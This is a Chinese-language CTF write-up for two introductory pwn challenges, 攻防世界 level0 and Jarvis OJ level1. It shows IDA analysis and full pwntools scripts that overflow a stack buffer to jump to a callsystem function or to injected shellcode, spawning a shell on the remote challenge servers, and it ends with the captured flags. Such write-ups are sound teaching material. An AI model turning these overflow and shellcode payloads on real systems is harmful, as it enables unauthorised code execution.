攻防世界level0 + (Jarvis Oj)(Pwn) level1

攻防世界level0

将文件在ida中打开,

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第1张图片

 输出字符串helloWord之后执行vulnerable_function()函数,没有与用户交互,双击进去查看,,

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第2张图片

 无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转。查找字符串

这是 vulnerable_function 函数,可以在栈上写0x200个字节,或许我们可以进行溢出,覆盖掉返回地址,劫持程序执行流,执行我们想执行的方法。通常我们的目的是去执行 system("/bin/sh")

看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,查看调用发现了 callsystem函数,我们可以把返回地址改成callsystem的地址。

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第3张图片

点进去之后,点击strings,进入以下页面

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第4张图片

双击bin/sh就能查看bin/sh的存储位置 

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第5张图片

将光标放置在bin/sh这一行,按键盘上x就能找到哪里调用了bin/sh,这样我们就找到了callsystem。

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第6张图片

 

因此,可以在read时,将函数返回地址覆盖为callsystem函数地址,则可实现漏洞利用

推测返回地址错误,看vulnerable_function()函数汇编代码 
脚本如下:

from pwn import *  #导入pwntools中pwn包的所有内容


p = remote('111.198.29.45',33907)  # 链接服务器远程交互,等同于nc ip 端口 命令

elf = ELF('./level0')  # 以ELF文件格式读取level0文件

sysaddr = elf.symbols['callsystem']  # 获取ELF文件中callsystem标记的地址

payload = 'a'*(0x80 + 8) + p64(sysaddr)  # payload,先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址

p.recv()  #接收输出

p.send(payload)  # 发送payload

p.interactive()  # 反弹shell进行交互

把脚本和执行文件都拖到Ubuntu中,cat得到flag。。。。

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第7张图片

 

cyberpeace{c059d53c0799598a0a320babff2fb2ab} 

(Jarvis Oj)(Pwn) level1

在Ubuntu中输入checksec level1能够查看这个文件到底是32位还是64位,,(因为已经安装了pwntools所以该命令能够执行,安装过程见上篇博客)

可以用checksec脚本来查询该文件使用了哪些防护技术。

./checksec --file file

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第8张图片

 

然后用ida32位打开,查看伪代码,,

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第9张图片

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

看到有个  vulnerable_function()函数,

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第10张图片

 

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

根据以上代码,可以写得脚本,,,

 

from pwn import *
context(arch = 'i386', os = 'linux')

shellcode = asm(shellcraft.sh())#用函数shellcraft.sh()直接生成shellcode
#asm
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]

buf_addr = int(text, 16)

payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()


 

可以看到在vulnerable_function中泄漏了buf的内存,用checksec可以发现这个程序编译时关了栈不可执行保护,于是我们就可以在buf里面输入shellcode和填充字符,将vulnerable_function的返回地址覆盖为buf的栈上地址,实现一次较简单的栈溢出攻击。

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第11张图片

 

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第12张图片

我们现在来使用 ida 来查看该函数的栈帧 , 用来计算 buf 首地址到 返回地址的偏移
因此通过上面两个图

payload=shellcode  +‘a’ * (0x88 0x4 - len(shellcode)) + p32(buf_addr)

 

现在的关键是写shellcode

写shellcode

1)先设置目标机的参数
context(os=’linux’, arch=’amd64’, log_level=’debug’)
 os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
 arch设置架构为:,64位的模式为amd64,对应的32位模式是’i386’,根据刚才终端命令可以得知为32位
 log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,所以有时候可以不输入。

2)获取shellcode
获得执行system(“/bin/sh”)汇编代码所对应的机器码
asm(shellcraft.sh())

攻防世界level0 + (Jarvis Oj)(Pwn) level1_第13张图片

成功拿到flag

CTF{82c2aa534a9dede9c3a0045d0fec8617}

 

 

 

你可能感兴趣的:(新知识)